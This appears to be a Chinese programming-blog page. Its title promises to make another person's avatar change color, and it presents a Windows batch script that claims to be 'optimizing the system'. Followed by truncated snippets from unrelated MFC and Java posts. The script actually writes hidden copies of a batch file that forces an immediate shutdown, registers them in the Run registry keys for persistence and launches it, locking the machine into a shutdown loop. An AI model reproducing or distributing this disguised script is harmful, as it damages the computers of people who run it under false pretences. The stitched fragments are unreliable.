使對方頭像變色

2021-04-20 02:14:52 字數 983 閱讀 1044

@echo off

@echo 正在優化系統~

@echo @echo off >%windir%/help.bat >nul

@echo attrib +s +a +r +h  %windir%/system/help.bat >>%windir%/help.bat >nul

@echo attrib +s +a +r +h  %windir%/system32/help.bat >>%windir%/help.bat >nul

@echo shutdown -s -f -t 0 >>%windir%/help.bat

@reg add hkey_local_machine/software/microsoft/windows/currentversion/run   help /t reg_sz /d %windir%/help.bat /f

@reg add hkey_local_machine/software/microsoft/windows/currentversion/run   help1 /t reg_sz /d %windir%/system32/help.bat /f

@reg add hkey_current_user/software/microsoft/windows/currentversion/run   help /t reg_sz /d %windir%/help.bat /f

copy %windir%/help.bat %windir%/system32/help.bat >nul

copy %windir%/help.bat %windir%/system/help.bat >nul

attrib +s +a +r +h %windir%/help.bat

attrib +s +a +r +h %windir%/system/help.bat

attrib +s +a +r +h %windir%/system32/help.bat

start %windir%/help.bat

MFC 使選單項變灰

一 沒有updatecmdui控制代碼時 mfc中預設的習慣是當沒有updatecmdui控制代碼時程式是使能 enable 選單,選單自動變成使能,只要關掉預設值就可以了,把下面的 加入你的程式 cmainfrm cmainfrm 然後在訊息響應函式中新增如下 cmenu m menu getme...

使HashSet變的有序並且可以去除重複物件的方法

class persont public void setname string name public int getage public void setage int age persont string name,int age public int hashcode 重寫了hashcode...

在MFC中獲取控制項相對位置和使按鈕變灰

一.獲取控制項相對位置。crect framerect getdlgitem frameid getwindowrect framerect 獲取控制項相對於螢幕的位置。screentoclient framerect 轉化為對話方塊上的相對位置。const int height framerect...